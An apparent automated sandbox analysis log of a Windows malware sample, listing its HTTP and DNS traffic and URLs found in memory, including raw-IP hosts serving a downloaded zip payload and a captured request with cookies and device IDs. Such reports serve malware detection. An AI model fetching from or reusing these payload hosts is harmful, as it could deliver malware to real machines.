Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /JNGX/JNLCQ170GX.txt?tl7THJxz HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://43.248.186.137:1010/JNGX/JNLCQ170GX.txt?tl7THJxzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 43.248.186.137:1010
Source: global traffic	HTTP traffic detected: GET /shield.html?7460389 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://61.147.93.109:9889/shield.html?7460389User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 61.147.93.109:9889
Source: global traffic	HTTP traffic detected: GET /shield.html?9319659 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://61.147.93.189:9889/shield.html?9319659User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 61.147.93.189:9889
Source: global traffic	HTTP traffic detected: GET /shield.html?9387302 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://61.147.93.70:9889/shield.html?9387302User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 61.147.93.70:9889
Source: global traffic	HTTP traffic detected: GET /shield/ougsdp1og.zip?2020644 HTTP/1.1Accept: /Accept-Language: zh-cnAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322)Host: 61.147.93.116:9889Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /360c0mpkill5.1.64.1238-0809.zip HTTP/1.1Host: dl.360safe.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: qnmdsjc.mm2299.com
Source: global traffic	DNS traffic detected: DNS query: pgfg.hmnad3463fdefr.cn
Source: global traffic	DNS traffic detected: DNS query: kfbb.dewfrevrwde.xyz
Source: global traffic	DNS traffic detected: DNS query: dl.360safe.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1729287948225&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2106959057.000000000106E000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2105363763.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://43.248.186.137:1010/JNGX/JNLCQ170GX.txt
Source: [ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.109:9889/shield.html?7460389
Source: [ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.109:9889/shield.html?7460389zh-cnMozilla/5.0
Source: [ ].exe, 00000002.00000003.2246656088.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.116/
Source: [ ].exe, 00000002.00000003.2246656088.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.116:9889/shield/ougsdp1og.zip?2020644
Source: [ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.116:9889/shield/ougsdp1og.zip?20206445
Source: [ ].exe, 00000002.00000003.2246656088.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.116:9889/shield/ougsdp1og.zip?2020644JJ
Source: [ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.116:9889/shield/ougsdp1og.zip?2020644P
Source: [ ].exe, 00000002.00000003.2248925195.0000000002D01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.189:9889/shield.html?931965
Source: [ ].exe, 00000002.00000003.2246656088.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244622256.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002D01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.189:9889/shield.html?9319659
Source: [ ].exe, 00000002.00000003.2246656088.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244622256.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002D01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.70:9889/shield.html?9387302
Source: [ ].exe, 00000002.00000003.2248925195.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244622256.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://61.147.93.70:9889/shield.html?9387302#
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aia1.wosign.com/ca1-class3-code.cer0
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aia1.wosign.com/class3.code.ca1.cer07
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: [ ].exe, 00000002.00000003.2103185456.0000000004140000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2104974160.0000000004142000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2103350493.000000000432E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cp.anweishi.com/WH/ClientCheckErrLog.aspx
Source: [ ].exe, 00000002.00000003.2103185456.0000000004140000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2104974160.0000000004142000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2103350493.000000000432E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cp.anweishi.com/WH/ClientCheckErrLog.aspxafr3JkYujdfv46gdmjD45Dweik67HjmhOKOKOKsend
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
